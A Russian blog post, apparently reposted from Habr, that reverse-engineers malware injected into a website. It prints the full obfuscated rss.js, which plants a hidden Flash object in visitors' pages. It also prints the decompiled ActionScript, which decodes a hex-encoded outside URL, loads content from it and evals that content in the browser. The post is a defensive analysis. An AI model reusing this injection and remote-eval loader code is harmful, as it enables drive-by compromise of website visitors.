Вирус на сайте или реверс-инжиниринг Exploit.SWF.254

от автора

Все началось с того, что на моем рабочем ноутбуке (Win XP) админ установил новый антивирус. В один прекрасный день, когда я зашел на один из своих сайтов, я обнаружил вот такую неприятную картину:

Конечно же первое что я захотел сделать это удалить его, для этого нужно было просто зайти по FTP и прибить rss.js файл. Но тут вдруг оказалось что я не могу зайти на сайт по FTP, так как хостинг и домен не мои, и видимо недавно админы сменили логин и пароль. Дозвониться владельцам так и не удалось, зато понять что именно делает вирус было очень любопытно…

Итак, делать это на рабочем ноуте я не рискнул, решил заняться этим дома, так как на домашнем компе стоит макось бояться было нечего никакой антивирус не орал и не мешал работать. Первым делом я посмотрел что делает rss.js

function addNewObject () { 	try { 		var ua = navigator.userAgent.toLowerCase(); 		if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) { 			var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44); 			var div = document.createElement('div'); 			div.innerHTML  = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">'; 			div.innerHTML += '<param name="allowScriptAccess" value="always" \/>'; 			div.innerHTML += '<param name="movie" value="'+ counter +'" \/>'; 			div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>'; 			div.innerHTML += '<\/object>'; 			div.style.position = 'absolute'; 			div.style.left = '-100px'; 			div.style.top = '-100px'; 			document.body.insertBefore(div, document.body.children[0]); 		} 	} catch (e) { 		if (document.body == undefined || document.body.children[0] == undefined) { 			setTimeout('addNewObject()', 50); 		} 	} } addNewObject();

Из кода очевидно что скрипт создает swf и внедряет его в код страницы, чтобы понять откуда он берет swf делаем деобфускацию вот этого странного куска кода:

var jtFRvRDNg=["subs\x74\x72","F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61","\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp","\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);

Для этого создаем и запускаем вот такой простой файл

<!DOCTYPE html> <html> <head>     <title></title> </head> <body> <script type="text/javascript">     var jtFRvRDNg = ["subs\x74\x72", "F\x55\x64\x59z\x73\x4dVX\x65XZ\x70\x6e\x6e\x79a.\x73wf\x66\x50Myo\x56\x6cV\x76\x43\x52q\x59oeF\x61", "\x6aH\x4c/0\x38\x2d\x6bo\x68a\x77POT\x55\x4aGp", "\x6f\x73F\x4e\x74x\x2f\x6dp\x33\x2fv\x69di\x72\x76\x61ni"];     var counter = jtFRvRDNg[35 - 32][jtFRvRDNg[0]](-60 + 95 - 29, 70 + 22 - 91 + 13) + jtFRvRDNg[2][jtFRvRDNg[0]](94 - 75 - 16, 36 + 83 - 111) + jtFRvRDNg[17 - 16][jtFRvRDNg[0]](66 + 2 + 81 - 135, 51 - 44);     alert(counter); </script> </body> </html>

И сразу видим откуда подгружается вредоносный swf

Теперь осталось самое легкое, узнать что делает этот flash ролик, немного погуглив нашел несколько декомпиляторов swf, но оказалось что файл защищен от декомпиляции

И понять что делает вредоносный ActionScript невооруженным глазом нельзя:

Длинный непонятный код

//Кадр 0 //  Action tag #0  for (;;)  {     if (1847114876 == 1847115088)      {         false;         1238734783 & -1238734784;         function decrypt(hex)         {             var __reg5;             var __local0;             if (205673138 ^ 205673138)              {                 __local0 = __reg5 = "A";             }             else              {                 __reg5 = "A";                 var __reg1;                 __local0 = __reg1 = 0;             }             __local0;             for (;;)              {                 408838581 ^ 408838581;                 2136550932 & -2136550933;                 if (__reg1 >= hex.B)                  {                     break;                 }                 if (1890669217 ^ 1890669217)                  {                     "C";                 }                 else                  {                     var __reg3;                     if (!(1502222836 ^ 1502222836))                      {                         __reg3 = hex.C(__reg1, 2);                     }                 }                 1234629013 ^ 1234629013;                 127070979 & -127070980;                 var __reg2 = int("D" + __reg3);                 1130412752 ^ 1130412752;                 __reg2 = __reg2 ^ 5;                 1618839222 & -1618839223;                 if (!(1876906722 ^ 1876906722))                  {                     __reg5 = __reg5 + chr(__reg2);                 }                 var __local1;                 var __local2;                 if (1459356484 ^ 1459356484)                  {                     __local1 = __reg1;                     __local2 = 2;                 }                 else                  {                     __reg1 = __reg1 + 2;                     __local1 = 1035411512;                     __local2 = -1035411513;                 }                 __local1 & __local2;             }             return __reg5;         }         function checkFileLoaded()         {         };         1791047020 & -1791047021;         var  = "";         1234090841 ^ 1234090841;         353477196 ^ 353477196;         if (!(1023518590 ^ 1023518590))          {             ("E", ());         }         1053853491 & -1053853492;         657257249 & -657257250;         var  = (, 200);         503511606 ^ 503511606;         694364267 ^ 694364267;         2090915988 & -2090915989;         loadVariables(G(), E);         if (736039747 != 736040114)          {             continue;         }     } }  

Еще немного погуглив нашел декомпилятор swf со встроенной функцией деобфускации, и вот такой код уже намного понятнее читать:

function decrypt(hex) {    var _loc5_ = "";    var _loc1_ = 0;    while(_loc1_ < hex.length)    {       var _loc3_ = hex.substr(_loc1_,2);       var _loc2_ = int("0x" + _loc3_);       _loc2_ = _loc2_ ^ 5;       _loc5_ = _loc5_ + chr(_loc2_);       _loc1_ = _loc1_ + 2;    }    return _loc5_; } function checkFileLoaded() {    if(container.data != undefined)    {       var _loc1_ = container.data;       _loc1_ = decrypt(_loc1_);       flash.external.ExternalInterface.call("eval",_loc1_);       clearInterval(loadingInterval);    } } var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030"; this.createEmptyMovieClip("container",this.getNextHighestDepth()); var loadingInterval = setInterval(checkFileLoaded,200); loadVariables(decrypt(url),container);

Вот это уже интереснее, видим что тут есть url на который идет пинг, но даже в «защищенном» swf url закодирован, хорошо постарались ребята. У меня под рукой не оказалось флеш-редактора, нашел онлайн компилятор action script, скопировал кусок кода который декодирует зветный url и выводим:

class Test { function decrypt(hex) {    var _loc5_ = "";    var _loc1_ = 0;    while(_loc1_ < hex.length)    {       var _loc3_ = hex.substr(_loc1_,2);       var _loc2_ = int("0x" + _loc3_);       _loc2_ = _loc2_ ^ 5;       _loc5_ = _loc5_ + chr(_loc2_);       _loc1_ = _loc1_ + 2;    }    return _loc5_; }    public function Test(mc) {     var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";     trace(decrypt(url));   }    public static function main(mc:MovieClip) {     var test = new Test(mc);   } }

В результате получаем url: ———/counter/hit/client_de5df061c99066d82cfc437f2b099455

Смысл этого эксплоита для меня так и остался загадкой, кто-то просто собирает статистику посещения сайта? А что думает хабр, жду комментарии, может кто-то сталкивался с подобным?

P.S. Умышленно не приводил ссылки на антивирус, декомпиляторы, онлайн сервисы и прочие ссылки

ссылка на оригинал статьи http://habrahabr.ru/post/196882/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *